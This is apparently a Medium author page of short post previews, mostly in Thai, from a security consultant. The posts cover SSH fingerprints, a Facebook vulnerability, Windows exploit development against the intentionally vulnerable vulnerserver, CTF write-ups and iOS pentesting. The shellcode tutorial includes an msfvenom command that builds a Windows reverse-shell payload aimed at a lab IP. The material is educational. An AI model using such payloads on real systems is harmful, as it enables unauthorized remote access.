ปกติการทำ PKI จะต้องมีคนที่มารับรองว่า public key ที่ใช้เป็นของจริง อย่างของ TLS Certificate ใน HTTPS ก็มี Certificate Authority (CA) เป็นคนรับรอง (sign) มา ถ้าหากมีแฮกเกอร์มา ดักข้อมูล (MitM) แฮกเกอร์ก็จะไม่มี TLS Certificate ที่ CA รับรองมายืนยัน จะหลอกเอามาให้เหยื่อได้แต่ Self-Signed TLS Certificate จากนั้น Web Browser ก็จะขึ้น ข้อผิดพลาด (error) ว่าไม่ปลอดภัย

ดังนั้นการใช้ Self-Signed TLS Certificate กับเว็บที่เข้าผ่าน Web Browser ปกติจึงไม่ปลอดภัย เพราะ user จะไม่สามารถแยกแยะได้โดยง่ายว่า อันไหนมัน error เพราะ Certificate ของแฮกเกอร์ อันไหนมัน error เพราะ Certificate ของจริงมันก็ เพราะมันจะ Self Signed ทั้งคู่

ในทางกลับกัน OpenSSH ใช้ PKI model โดยไม่มี CA แบบ HTTPS แต่จะลดความเสี่ยงการที่ user จะโดน ดักข้อมูล ด้วยการโชว์ public key fingerprint (จะขอเรียกย่อว่า fingerprint) ที่ขึ้นมาถามตอนเคยต่อเครื่องนั้นครั้งแรก

$ ssh victim@victim.sth.local The authenticity of host ‘victim.sth.local (1.3.3.7)’ can’t be established. ECDSA key fingerprint is SHA256:kEX.....Rk…


ขอสรุปไว้สั้น ๆ เผื่อว่าเป็นประโยชน์ต่อการเอาไปออกแบบพัฒนาระบบให้มีความปลอดภัย ข้อมูลทั้งหมดอ้างอิงมาจาก บล็อคของพนักงาน Facebook โดยตรง

สิ่งที่ต้องรู้ถึงจะเข้าใจช่องโหว่นี้มี 3 อย่าง

1. View As

ช่องโหว่เกิดจากฟีเจอร์นึงชื่อว่า View As ที่ไว้ทำให้ คนใช้เฟสบุ๊กสามารถ ดูได้ว่าคนที่เราเลือกนั้น มองเห็น หน้าตาเฟสบุ๊กของเราเป็นยังไง หน้าตาเป็นงี้


จากตอนที่ 1 เราพูดถึงตัวอย่างการแฮกด้วย BOF ไป และโค้ดที่แฮกเกอร์จะรันหลัง exploit สำเร็จเรียกว่า shellcode จะเห็นว่าในขั้นตอนการสร้าง shellcode แบบสำเร็จรูป เราใช้โปรแกรมชื่อ msfvenom จาก Metasploit สร้างมาให้ดังนี้

$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.99.1 LPORT=1112 -f python -b '\x00'

ในบทความนี้ผมจะมาตอบคำถามว่า shellcode นี้คืออะไรกันแน่ 55

badchar คือ? (-b)

อย่างแรกครั้งที่แล้วผมใส่ออฟชั่น -b เข้าไป แต่ไม่ได้พูดถึง มันคือการกำหนดตัวอักษรที่ไม่ดี หรือเรียกกันว่า badchar เหตุผลที่ต้องกำหนด badchar เพราะว่าปกติแล้ว เวลาเกิด BOF ตัวโปรแกรม อาจจะมีโอกาสในการอ่านค่า buffer ที่แฮกเกอร์ใส่ไปไม่ครบแล้วตัดจบก่อน ตัวที่มักจะโดนตัดจบแน่ ๆ คือ \x00 ชื่อว่า null byte ซึ่งในภาษา C มันเป็น ค่าที่ไว้บอกว่า ค่า string ใด ๆ มันจบแล้ว ใครตั้งใจเรียนวิชา programming อาจจะจำได้

http://www.tutorialdost.com/C-Programming-Tutorial/20-C-String.aspx

ดังนั้นเวลาเราสร้างหรือเขียน shellcode เราจะต้อง ห้าม ไม่ให้ shellcode เรามี \x00 เด็ดขาด ไม่งั้นเวลา BOF แล้วค่า shellcode เราจะโดนตัด (truncate) ถึงแค่ตรง \x00 ทำให้โค้ดทำงานไม่สำเร็จพังแน่นอน และตัวอื่น ๆ ที่ “อาจจะ” เป็น badchar ได้อีกเช่น \x0a (\n = LF= Line Feed) กับ \x0d (\r…


บทความนี้ ตั้งใจเป็นซีรี่ย์สอน Windows exploit development พื้นฐานฉบับภาษาไทย คล้าย ๆ กับบล็อค thtutz ของ sleepya ที่เน้น Linux เป็นหลัก เพื่อให้มีแหล่งอ้างอิง ภาษาไทยเกี่ยวกับ IT Security เหมือนพี่จีน เยอรมัน รัสเซียมีของภาษาตัวเองกัน ทำให้เข้าถึงคนที่อยากมาสายนี้ได้ศึกษาง่ายขึ้น ส่วนโปรแกรมที่จะเป็นเป้าแฮกคือ vulnserver ตามไปดาวโหลดทั้ง .c และ .exe กันได้ที่

โดยผมจะรัน vulnserver บน Windows Vista SP2 32 bits บน VirtualBox ตั้ง network เป็น Host-Only (เครื่องแฮกเกอร์ IP: 192.168.99.1, เครื่อง vulnserver IP: 192.168.99.100) ถ้าใช้ใคร Windows เวอร์ชั่น อื่น ๆ หรือ setup แบบอื่น ๆ ก็อาจจะได้ผลลัพธ์ไม่เหมือนกัน เอาตามสะดวก

คร่าว ๆ คือ vulnserver เนี่ยเป็นโปรแกรมภาษา C ที่เขียนมาจงใจให้มีช่องโหว่โดนแฮกได้ เพื่อการศึกษา exploit development สำหรับผู้เริ่มต้นมือใหม่เด็กน้อย โดยมันจะทำตัวเป็น network service อยู่ที่ TCP port 9999 ให้เราใช้ TCP client ต่อเข้าไปใช้งานได้ ตัวอย่างการรันโปรแกรมและต่อเข้าไปด้วย netcat เป็นตามนี้

จะเห็นว่าข้างใน โปรแกรมจะมีแบ่งย่อยเป็น command ต่าง ๆ ซึ่งแต่ละอันก็จะใช้เทคนิคการแฮกที่ไม่เหมือนกัน ในบทความนี้เราจะมาดูตัวที่ง่ายที่สุดก่อนคือ TRUN ซึ่งวิธีจะหาช่องโหว่เนี่ย มีหลายแนวทางได้แก่ การทำ fuzzing การ…


เว็บ ssllabs.com เป็นเว็บยอดนิยมทั้งคนไอทีในประเทศไทย และทั่วโลกว่าเอาไปใช้เช็คว่าเว็บเรามีการใช้ตั้งค่า SSL/TLS protocol (HTTPS) ปลอดภัยมาก-น้อย แค่ไหน

ความง่ายของมันคือ มันตอบกลับมาเป็น grade ที่เข้าใจง่ายคนที่ไม่ต้องรู้เรื่องช่องโหว่ SSL/TLS ก็สามารถอ่านเข้าใจได้ว่า ความปลอดภัยเว็บ HTTPS ของตัวเองเป็นยังไง อยู่ระดับไหน

ใครอยากลองใช้วิธีคือเข้าเว็บ https://www.ssllabs.com/ssltest/ แล้วใส่ ชื่อเว็บตัวเองไปกด Submit ก็ได้แล้วง่ายดี


ปัญหาของการเรียน hacking คือ path ลำดับการเรียนรู้ที่จะไปถึงจุดหมายปลายทางของแต่ละคน ซึ่งในปัจจุบันเวลามือใหม่เริ่มจาก 0 หรือ 1 แล้วอยากจะรู้เรื่องพวกนี้ก็หาที่พึ่งค้นหาใน กูเกิลยูทูปเอา.. ถ้าเป็นภาษาไทยส่วนมากจะไปจบที่ แก๊งต่าง ๆ ที่มาเปิดคอร์สสอนแฮก ล่าสุดก็มามี กลุ่มใหม่ ตามมา เยอะแยะซึ่งถ้าเข้าไปดูเนื้อหาตามกลุ่ม ที่ตั้งมาจากคนที่ไม่ได้ทำงาน security โดยตรงก็จะเป็นใช้ tools หัดใช้ Kali SQLMap แคร๊ก WiFi ใช้ Wifite AirCrack ใช้ Metasploit กด MS08–067 MS17–010 ทำเว็บ phishing ทำ Trojan จากแอปสำเร็จรูป สอนใช้ Meterpreter ขโมยข้อมูลเหมือนในหนัง เอา โปรแกรมเท่ ๆ มากดแล้วบอกยิง DDoS แล้วก็จบหลักสูตรกลายเป็นแฮกเกอร์ 007

ซึ่งผมก็ไม่ได้ห้าม ว่าจะไม่ให้ใครไปเรียนคอร์สไหน อะไรยังไงหรอก แต่อยากจะแนะนำ=ในมุมมองของผม=ว่า ถ้ามีใครจะหาเรียน ควรแบบไหนดี เพื่อเป็นประโยชน์ต่อคนที่กำลังหาอยู่ และจะได้ไม่โดนหลอก มีคนโดนหลอกเยอะมาก ๆ

คำแนะนำของผมสำหรับ beginner มีดังนี้…

  1. แนะนำว่าให้หาที่อย่างน้อยที่สุด “คนที่คุณจ่ายเงินให้ เป็นในรูปแบบบริษัทมีตัวตนจริง เป็นคนจริง ๆ ที่ทำธุรกิจด้าน IT Security” ไม่ใช่ไปจ่ายผ่าน True Money Paypal BitCoin หรือโอนเงิน ไปให้ใครก็ไม่รู้ชื่อ ทำงานใน profile ดำ ๆ ใส่หน้ากาก anonymous เป็นเฟสบุ๊ก เป็นไลน์กลุ่มตั้งขึ้นมาลงคลิปแฮกพร้อม quote เท่ ๆ เยอะ ๆ ที่ผมแนะนำงี้เพราะว่ามีคนมาปรึกษา มาบ่นให้ผมฟังเป็น 1,000,000,000 … คนแล้วว่า เค้าไปเสียเงินให้กลุ่มแก๊งพวกนี้ ที่ทำ list…


นอกจากผมทำงานเกี่ยวกับ security ทำให้ลูกค้าปลอดภัยแล้วกลับมาบ้านอยู่กับคุณแม่ก็เอาเรื่อง security มาใช้ประโยชน์เช่นกันวันนี้ก็จะมาแชร์ว่าทำอะไรยังไง หลาย ๆ อันคนส่วนมากก็คงรู้อยู่แล้ว ไม่ได้มีอะไรใหม่-พิเศษ แต่เผื่อมีประโยชน์ต่อสาธาณะใครอยากเอา ข้อไหนที่ยังไม่ได้ทำไปปรับใช้งานบ้าง

https://security.googleblog.com/2015/07/new-research-comparing-how-security.html
  1. ใช้ Windows 10 เปิด auto-update เพราะว่า Windows 10 มี exploit mitigation สูงสุด (เทียบกับ XP, 7, 8.1) ต่อให้มีช่องโหว่ก็โดนแฮกยากกว่ามาก อ่านเพิ่มเติม

2. ใช้ซอฟต์แวร์แท้ทั้งหมดเท่าที่ทำได้ เพราะ crack มักจะคือ Trojan เกือบทั้งหมด

3. ให้ใช้ Chrome แทน IE / Edge อย่าลืมเอาไอคอนไปซ่อนไกล ๆ ด้วย

4. ลงส่วนเสริม Chrome ชื่อ uBlock Origin ไว้บล็อคโฆษณากับ HTTPS Everywhere ไว้ enforce ให้เว็บที่รองรับ HTTPS ถูกเข้าเป็น HTTPS และรีวิวว่าไม่มีส่วนเสริมที่เป็นมัลแวร์ติดตั้งอยู่ในเครื่อง

5. …


เหมือนเดิม coop กับ #pwnleakteam นำโดยน้อง Pongsakorn Sommalai (Bongtrop) ใครมีอะไรสงสัยก็ไปถาม bongtrop ได้เลย (รับแอดเฟสเฉพาะผญ)

เกริ่นคร่าว ๆ งานนี้เป็นงานจัดแข่งแฮก CTF style โดย Google นั้นเองจัดมาหลายปีละ หลาย ๆ ข้อก็จะเกี่ยวกับเทคโนโลยีของ Google บ้างอย่าง Android, Firebase, Angular, GCP ฯลฯ โจทย์มี 5 หมวด Crypto, Misc, Pwn, Re และ Web ส่วนในบล็อคนี้ผมก็จะมาอธิบายโจทย์ข้อเว็บละกัน เพราะมันสนุกดี 55

Google CTF 2018

Cat Chat

โจทย์ให้มาดังนี้ “ You discover this cat enthusiast chat app, but the annoying thing about it is that you’re always banned when you start talking about dogs. Maybe if you would somehow get to know the admin’s password, you could fix that.” …


In the past few months, I have done a lot of iOS app pentest using Frida gadget patching. As a result, I faced with various kind of issues so I noted them down and wanted to share here.

Objection is a runtime framework for mobile app pentest (iOS/Android) that was built on top of Frida scripts.

Alternatively, ipa-resign.sh can be used if you are a big fan of shell script. Basically, it does the same shit which are unpack > patch dylib to binary > pack > resign > ggez.

#1

ios-deploy[28867:2152173] [ !! ] Error 0xe8008015: A valid provisioning…


I usually write things in Thai but I recently got complained from my non-Thai friends so I decided to write (only) this one in English hehe.

This challenge was solved in cooperation with Pongsakorn Sommalai (Bongtrop). Feel free to ask me anything if it isn’t clear for you :)

There was a web hacking challenge in HITB-XCTF 2018 event where the source code was given as follows:

Quite long huh? Don’t give up, please continue reading this !

We were presented with a website, written in Python + Flask framework. …

Pichaya Morimoto

บจก. สยามถนัดแฮก https://sth.sh

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store